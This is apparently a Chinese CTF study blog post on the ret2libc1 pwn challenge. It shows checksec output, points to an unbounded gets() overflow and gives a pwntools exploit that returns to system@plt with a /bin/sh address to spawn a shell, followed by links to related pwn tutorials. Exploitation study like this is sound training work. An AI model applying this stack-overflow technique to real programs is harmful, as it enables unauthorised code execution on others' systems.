pwn学习——ret2libc1
pwn学习——ret2libc1
- 1.看一下程序的保护
- 2.看一下main函数有没有溢出
- 3.ROPgadget
- 4.exp
1.看一下程序的保护
➜ ret2libc1 checksec ret2libc1 Arch: i386-32-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x8048000)
2.看一下main函数有没有溢出
gets函数不限制长度,可以溢出
3.ROPgadget
利用 ropgadget,我们可以查看是否有 /bin/sh 存在
再看一下system函数的地址
.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]
那么,我们直接返回该处,即执行 system 函数。相应的 payload 如下
4.exp
#!/usr/bin/env python
from pwn import *sh = process('./ret2libc1')binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)sh.interactive()
flat函数是用来自动生成payload的函数
顺序是:[溢出长度 + 函数名称 + 函数返回地址 + 函数参数]
参考文献
pwn学习——ret2libc1相关推荐
- pwn学习总结(五) —— ret2dl_runtime_resolve(待补充)
pwn学习总结(五) -- ret2_dl_runtime_resolve 一.程序示例 二.Section .dynamic .dynstr .dymsym .rel.plt 三.延迟绑定 _dl_ ...
- pwn学习总结(五) —— 堆溢出经典题型整理
pwn学习总结(五) -- 堆溢出经典题型整理 fastbin + 栈溢出 fastbin + 函数构造 fastbin + 堆执行 fastbin + malloc_hook fastbin + 栈 ...
- pwn学习总结(四)—— 堆基础知识(持续更新)
pwn学习总结(四)-- 堆基础知识(持续更新) 前言 chunk 使用中(分配后) 空闲中(释放后) 堆块大小 空间复用 bins fastbin unsorted bin small bin 前言 ...
- PWN学习总结(四)—— BROP
pwn学习总结(三) -- BROP 描述 利用条件 攻击思路 例题 判断栈溢出长度 寻找 stop gadgets 寻找 brop gadgets 寻找 puts 函数的 plt 地址 寻找 put ...
- pwn学习总结(三) —— 栈溢出经典题型整理
pwn学习总结(三) -- 栈溢出经典题型整理 ret2text ret2shellcode rop ret2libc 使用DynELF实现远程libc泄露 ret2syscall ret2libc ...
- pwn学习总结(二) —— 基础知识(持续更新)
pwn学习总结(二) -- 基础知识(持续更新) Canary PLT表&GOT表 格式化字符串漏洞 GCC编译参数 ASLR 危险函数 输入流 syscall条件 shellcode 其它 ...
- pwn学习总结(一) —— 常用命令
pwn学习总结(一) -- 常用命令 编译程序 文件信息 本地测试 远程调试 cyclic ROPgadget gdb pwntools 编译程序 GCC编译参数: -m32:编译为32位程序 -fs ...
- 【学习札记NO.00004】Linux Kernel Pwn学习笔记 I:一切开始之前
[学习札记NO.00004]Linux Kernel Pwn学习笔记 I:一切开始之前 [GITHUB BLOG ADDR](https://arttnba3.cn/2021/02/21/NOTE-0 ...
- 【pwn学习】堆溢出(三)- Unlink和UAF
前置学习 [pwn学习]堆溢出(一) [pwn学习]堆溢出(二)- First Fit 文章目录 什么是Unlink? Unlink如何利用? 加入错误检查 什么是Use-After-free? 例题 ...
最新文章
- vim上次和下次光标位置
- Python 文件写操作
- Java静态域与静态方法
- java hashSet
- CG Rendering v.s. Browser Rendering
- Redis----centOs7.4 __X64下配置和运行
- matlab生成pdf报告,MATLAB发布代码---生成文档pdf
- dnf丢失clientbase_clientbase.dll丢失
- UART write过程分析
- 谈阿里云云效 DevOps | DevOps 不再只是 Jenkins
- C语言实现连接MySQL服务器CURD
- 科研论文阅读与写作实战技巧
- 动人的牵线美的连接符-两张表的查询(一)
- win7计算机本地用户和组,Win7旗舰版找不到本地用户和组如何解决
- 互联网产品交互设计思路与方法
- Linux服务器硬件及RAID
- eclipse pull异常 Pulling 1 respository (The pull operation was canceled)
- 在IOS设备上调试(真机调试)
- AE 图层分解与动画循环
- mysql creat datebase_MySQL CREATE DATABASE